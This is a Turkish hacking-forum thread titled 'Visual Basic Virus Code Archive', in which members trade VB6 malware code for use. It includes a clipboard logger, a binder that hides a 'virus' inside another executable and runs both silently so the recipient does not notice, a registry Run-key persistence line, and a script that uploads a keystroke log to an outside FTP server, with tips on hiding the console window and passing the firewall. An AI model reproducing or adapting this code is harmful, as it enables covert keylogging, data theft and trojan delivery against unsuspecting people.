Visual Basic Virüs Kod Arşivi

yirtici
Çırak
öncelikle merhabalar arkadaşlar sizlerden bir konu hakkında bilgi almak istiyorum.Ben file 2 bilgisayar arasında file transfer ve chat servisi yaptımda ama karşımdaki servera ariyeten klavye yazılarını algılaması için klavye fonksiyonları ekledim fakat ctrl c yaptıgında ctrl v yi direk text e yazmasını istiyorum bu konuda bana yardımcı olabilirmisiniz.

Private Sub saat2_Timer()
On Error Resume Next
Text2.Text = "c:\windows\askim.dat"
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
end Sub

son kısım bu şekilde yardımcı olursanız sevinirim
 
mbk.
Forum Kalfası
bir text1 ekleyip multiline özelliğini true yapınız
bir timer ekletip interval değerini 10 yapınız

Kod:
Dim veri As String
Private Sub Timer1_Timer()
If veri <> Clipboard.GetText Then
Text1 = Text1 & Date & "/" & Time & "=" & Clipboard.GetText & Chr(13)
veri = Clipboard.GetText
End If
End Sub
tarih ve saati ile kopyalanan veriyi text içine ekler

kod isteklerinizi sabit başlık olan hazır kod isteklerinden yaparsanız daha iyi olur
bu konu karışmadan arşiv şeklinde düzenli olarak kalmış olur.
 
mbk.
Forum Kalfası
Keylogger

Keylogger kodları. forumda birçok arkadaş bu kodları kullanarak kendi keyloggerını yazdı. sizinde işinize yarayacak kodlar.
forumda fuujin tarafından daha önce paylaşılmıştı. arşiv içinde olması için ekliyorum. isteyenler var.
keyloggerı yazan :SaLiXeM açık kaynak olarak dağıtmıştır.

Güzel kodlar varda yeterli değil bence.Mesela Trojan programları paylaşabilirsin...
ekledim.

Siz O virüsleri kardeşlerinize gönderceğinize elin gevurlarına atanızla peygamberinizle dininizle bayrağınızla dalga geçen adamlara göndersenize bir müslüman daha üzülüceğine
istiyorsan sen gönder. konuyla alakasız bir mesaj. hem kimlere gönderdiğimizi nerden biliyorsun. konudaki yorumlara yazılanlara bakarsan ilk sayfada yazılımcılar için
virüs yazmanın ne kadar önemli olduğunu yazmıştım. bir coder virüs yazarak neler
yapabileceğini görür en ince ayrıntıları yakalar. ve bir virüs yediğimizde
buradaki kodlara bakarak o virüsü kendimiz silebiliriz. tek yönlü olarak bakmayın olaya.


Arkadaşlar Bana Keylogger İçin Mail Desteği Gerekiyor Kodlarınızı beklıyorum
eklediğim keylogger içinde mevcut.
 
- Yönetici düzenlemesi: :
mbk.
Forum Kalfası
2 dosyayı birleştirmek

yazdığımız virüsü başkasına gönderirken direk gönderemeyiz.

bir dosya ile birleştirmemiz gerekebilir.

bunun için iki dosyayı binary olarak açıp bir exe içine eklemek

çalıştırıldığında da 2 dosyayı çıkartıp açmak gerekir.

böylelikle tek dosya olarak göndeririz ama açtığında iki dosya o onlamadan sistemine çıkarılır

simgesini değiştirme ile ilgili olarak bir önceki sayfada proje mevcut

yazdığımız virüs arkaplanda çalışacağı için sadece eklediğimiz dosya açılacaktır.

form.mbk

Kod:
'*Author*************************************************
'*Author:MBK                                            *
'*Date:05/06/2010                                       *
'*Contact:mbk_kbm@hotmail.com                           *
'********************************************************

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1
Dim PropBag As New PropertyBag
Private Sub Form_Load()
    On Local Error Resume Next
    Me.Hide
    App.TaskVisible = False
    Dim BeginPos As Long
    Dim varTemp As Variant
    Dim byteArr() As Byte
    Dim dosya1 As String
    Dim dosya2 As String
    Dim dosya1kendisi() As Byte
    Dim dosya2kendisi() As Byte
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
        Get #1, LOF(1) - 3, BeginPos
        Seek #1, BeginPos
        Get #1, , varTemp
        byteArr = varTemp
        PropBag.Contents = byteArr
        PropBag.WriteProperty "LOF", LOF(1)
        PropBag.WriteProperty "BeginPos", BeginPos
    Close #1
    With PropBag
        dosya1 = .ReadProperty("dosya1")
        dosya2 = .ReadProperty("dosya2")
        dosya1kendisi() = .ReadProperty("text1")
        dosya2kendisi = .ReadProperty("text2")
    End With
    Open dosya1 For Binary As #2
           Put #2, , dosya1kendisi()
    Close #2
    Open dosya2 For Binary As #3
           Put #3, , dosya2kendisi()
    Close #3
    Call ShellExecute(Me.hwnd, "open", Trim(dosya1), "", "", SW_SHOWNORMAL)
    
    Call ShellExecute(Me.hwnd, "open", Trim(dosya2), "", "", SW_SHOWNORMAL)
    End
End Sub
bir visual basic projesi açıyoruz daha sonra yukardaki kodları yazıp

file make menüsünden "form.mbk" adıyla kaydediyoruz. (exe değil)

sonra yeni bir proje açıp aşağıdaki arayüzü oluşturuyoruz.

sırası ile text1,text2,text3,text4,text5,command1

arayüz



daha sonra aşağıdaki kodları yazıyoruz

birlestir.exe

Kod:
Private Sub Command1_Click()
    Dim BeginPos As Long
    Dim PropBag As New PropertyBag
    Dim varTemp As Variant
    Dim dosya1() As Byte
    Dim dosya2() As Byte
    Open Text1.Text For Binary Access Read Lock Write As #1
    ReDim dosya1(LOF(1) - 1)
    Get #1, 1, dosya1()
    Close #1
    Open Text2.Text For Binary Access Read Lock Write As #2
    ReDim dosya2(LOF(2) - 1)
    Get #2, 1, dosya2()
    Close #2
    With PropBag
        .WriteProperty "dosya1", Text4.Text
        .WriteProperty "dosya2", Text5.Text
        .WriteProperty "text1", dosya1()
        .WriteProperty "text2", dosya2
    End With
    FileCopy App.Path & "\form.mbk", App.Path & "\" & Text3.Text
    Open App.Path & "\" & Text3.Text For Binary As #3
        BeginPos = LOF(3)
        varTemp = PropBag.Contents
        Seek #3, LOF(3)
        Put #3, , varTemp
        Put #3, , BeginPos
    Close #3
    MsgBox "Exe oluşturuldu", vbInformation
End Sub
form.mbk dosyası ile aynı yere birlestir.exe olarak kaydediyoruz.

text1 ve text2 içerisine yazdığımız iki dosyayı binary olarak açıp text3 içerisindeki

dosya isminde exe oluşturup onun içine ekliyor

daha sonra oluşan exe dosyasını açtığımızda text4 ve text5 yoluna iki dosyayı açıp

çalıştırıyor.
 
- Yönetici düzenlemesi: :
emre234493
Çırak
arkadaşlar programımın pc her açıldığında otomatik başlamasını istiyorum forun loadına bu kodu yazdım fakat kayıtdefteri.regwrite ve app lerde hata veriyor yardım edebilrmisiniz

Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
 
mbk.
Forum Kalfası
kod çalışıyor.
pm olarak msn adresimi gönderiyorum.
1.st class ile ne alakası var.
 
- Yönetici düzenlemesi: :
Randomen
Cool Üye
konsolu yeteri kadar kurcalarsan herşeyi yapabilirsin.

yukarıda zaten klavyeyi dinlemek için gerekli kodlar var
yazdığım bu kodlar ile birleştirirsen istediğin uygulama ortaya çıkar zaten.




Kod:
Private Sub Form_Load()
Open "c:\ddd.bat" For Output As #1
Print #1, "ftp -s:c:\ddd.txt"
Close #1

Open "c:\ddd.txt" For Output As #2
Print #2, "open ftp.domain.com"
Print #2, "kullanıcıadım"
Print #2, "şifrem"
Print #2, "cd klasörüm"
Print #2, "put c:\log.txt log.txt"
Print #2, "Close"
Print #2, "quit"
Close #2

Open "c:\log.txt" For Output As #1
Print #1, "loglar kayıt edildi..."
Print #1, "wardom.org..."
Close #1

Shell "c:\ddd.bat"

End Sub
ftp adresine oluşturduğu log dosyasını gönderir





Cok saol bunları arıyordum. Ama bir sorun var ftp uploadı bir timerla yaptırmak gerek oylede yaptım her dakka upload etcek şekilde ayarladım ve şunu gördüm zamanı geldiğinde Bat dosyamız calısıo ve gorevini yapıo ama bu gozlerimizin onunde oluyor.Bide bunu her dakka yaptırıoruz adam işgillenmezi la noluo ikidebir kara ekran gelio en iyisi ben format attıram diye :D Nese uzatmayam sadece bat dosyasını arka planda calıstırmak mümkünmü diye soracaktım.
 
mbk.
Forum Kalfası
Shell "c:\ddd.bat",vbhide dersen arkaplanda çalışır:)

59. postta ftp ye güvenlik duvarından izin vermeyi anlatmıştım onu da yaparsan sorunsuz şekilde gönderirsin.
 
- Yönetici düzenlemesi: :
Randomen
Cool Üye
Shell "c:\ddd.bat",vbhide dersen arkaplanda çalışır:)

59. postta ftp ye güvenlik duvarından izin vermeyi anlatmıştım onu da yaparsan sorunsuz şekilde gönderirsin.
Sol hızır gibisin ama bir sorun daha var yukarıdaki verdiğin dosya birleştirme programındaki form.mbk dosyasını "form.mbk" olarak kayıt edemiyorum

form.mbk.exe oluyor nasıl halledebilirim acaba?
 
mbk.
Forum Kalfası
file / make project
dedikten sonra project1.exe olarak karşına çıkar oraya form.mbk yazıp tamam de.
exe olmasın sonunda. vb 6.0 ile bu şekilde oluyor.
pm olarak ulaş istersen konu dağılmasın fazla

edit:


tamam olayı anladım.

form.mbk olarak kaydetmen için ilk önce

belgelerimi aç / araçlar / klasör seçenekleri / görünüm / bilinen dosya türleri için uzantıları gizle seçeneğini kaldır

daha sonra file / make exe dediğinde

karşına uzantısı ile birlikte gelir sende istediğin uzantıda yapabilirsin
 
- Yönetici düzenlemesi: :
emter
Forum Kalfası
Çoğu zaman yaptığınız virüsü başka bir dosya ile birleştirmeniz gerekir ki virüs
gönderdiğiniz kişi bunu anlamamalıdır. O başka bir dosya açar ve aynı anda sizin
projeniz de çalışmaya başlar. Böylelikle gizli bir şekilde istediğinizi gerçekleştirmiş
olursunuz.

kodlarını bulduğum iyi bir proje eminim işinize yarayacaktır. bu sayede başka bir
dosya ile birleştirdikten sonra exe dosyasının ikonunu kolay bir şekilde değiştirebilirsiniz.
Çoğu indirdiğim projeniz gibi buda hata veriyor kodlarda.
Sorun sadece bende mi ?
 
emter
Forum Kalfası
konsolu yeteri kadar kurcalarsan herşeyi yapabilirsin.

yukarıda zaten klavyeyi dinlemek için gerekli kodlar var
yazdığım bu kodlar ile birleştirirsen istediğin uygulama ortaya çıkar zaten.




Kod:
Private Sub Form_Load()
Open "c:\ddd.bat" For Output As #1
Print #1, "ftp -s:c:\ddd.txt"
Close #1

Open "c:\ddd.txt" For Output As #2
Print #2, "open ftp.domain.com"
Print #2, "kullanıcıadım"
Print #2, "şifrem"
Print #2, "cd klasörüm"
Print #2, "put c:\log.txt log.txt"
Print #2, "Close"
Print #2, "quit"
Close #2

Open "c:\log.txt" For Output As #1
Print #1, "loglar kayıt edildi..."
Print #1, "wardom.org..."
Close #1

Shell "c:\ddd.bat"

End Sub
ftp adresine oluşturduğu log dosyasını gönderir

cd klasörun dedıgınız ne oluyor tam olarak ?
 
mbk.
Forum Kalfası
ftp içindeki klasör httpdocs mesela
cd httpdocs diyerek o klasörün içine giriyor
ve put komutu ile log dosyasını o klasörün içine atıyor
 
Üst